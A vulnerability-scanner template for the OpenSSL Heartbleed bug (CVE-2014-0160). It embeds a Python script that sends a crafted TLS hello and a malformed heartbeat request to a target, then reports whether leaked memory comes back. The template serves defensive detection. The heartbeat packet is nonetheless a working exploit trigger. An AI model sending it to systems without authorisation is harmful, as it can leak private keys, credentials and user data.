id: CVE-2014-0160

info:
  name: OpenSSL Heartbleed Vulnerability
  author: pussycat0x
  severity: high
  description: |
    The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software. This compromises the secret keys used to identify the service providers and to encrypt the traffic, the names and passwords of the users, and the actual content. This allows attackers to eavesdrop on communications, steal data directly from the services and users, and impersonate services and users.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Attackers can eavesdrop, steal sensitive data, impersonate services, and compromise user credentials.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2014-0160
  metadata:
    verified: true
  classification:
    epss-score: 0.99999
    epss-percentile: 0.99997
  tags: cve,cve2014,openssl,heartbleed,code,kev,vkev,vuln

variables:
  url: "{{RootURL}}"

code:
  - engine:
      - py
      - python3
    source: |
      import os
      import struct
      import socket
      import time
      import select
      from urllib.parse import urlparse

      def h2bin(x):
          return bytes.fromhex(x.replace(' ', '').replace('\n', ''))

      hello = h2bin('''
      16 03 02 00  dc 01 00 00 d8 03 02 53
      43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
      bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
      00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
      00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
      c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
      c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
      c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
      c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
      00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
      03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
      00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
      00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
      00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
      00 0f 00 01 01
      ''')

      hb = h2bin('''
      18 03 02 00 03
      01 40 00
      ''')

      def recvall(s, length, timeout=5):
          endtime = time.time() + timeout
          rdata = b''
          remain = length
          while remain > 0:
              rtime = endtime - time.time()
              if rtime < 0:
                  return None
              r, _, _ = select.select([s], [], [], 5)
              if s in r:
                  data = s.recv(remain)
                  if not data:
                      return None
                  rdata += data
                  remain -= len(data)
          return rdata

      def recvmsg(s):
          hdr = recvall(s, 5)
          if hdr is None:
              return None, None, None
          typ, ver, ln = struct.unpack('>BHH', hdr)
          pay = recvall(s, ln, 10)
          if pay is None:
              return None, None, None
          return typ, ver, pay

      def hit_hb(s):
          s.send(hb)
          while True:
              typ, ver, pay = recvmsg(s)
              if typ is None:
                  return False
              if typ == 24:  # Heartbeat response
                  if len(pay) > 3:
                      print('server is vulnerable')
                      return True
                  return False
              if typ == 21:  # Server alert
                  return False

      def main():
          # Get the URL from the environment variable
          url = os.getenv('url')
          if not url:
              print("URL environment variable is not set.")
              return

          # Parse the URL
          parsed_url = urlparse(url)
          host = parsed_url.hostname
          port = parsed_url.port if parsed_url.port else 80 if parsed_url.scheme == "http" else 443

          if not host:
              return

          # Create a socket connection
          s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          s.connect((host, port))

          # Send Client Hello
          s.send(hello)

          # Wait for Server Hello
          while True:
              typ, ver, pay = recvmsg(s)
              if typ is None:
                  return
              if typ == 22 and pay[0] == 0x0E:  # Server hello done
                  break

          # Send Heartbeat request and check vulnerability
          s.send(hb)
          hit_hb(s)

      if __name__ == '__main__':
          main()

    matchers:
      - type: dsl
        dsl:
          - "contains(response,'server is vulnerable')"
# digest: 490a00463044022025fb32d50429e79a55671250d74099d03da47ce3216da49f1db8eab5c9ebd14402203d93330779bb4fb3553f3a283924d426ff05be56b0b7a038150bce3807037d13:922c64590222798bb761d5b6d8e72950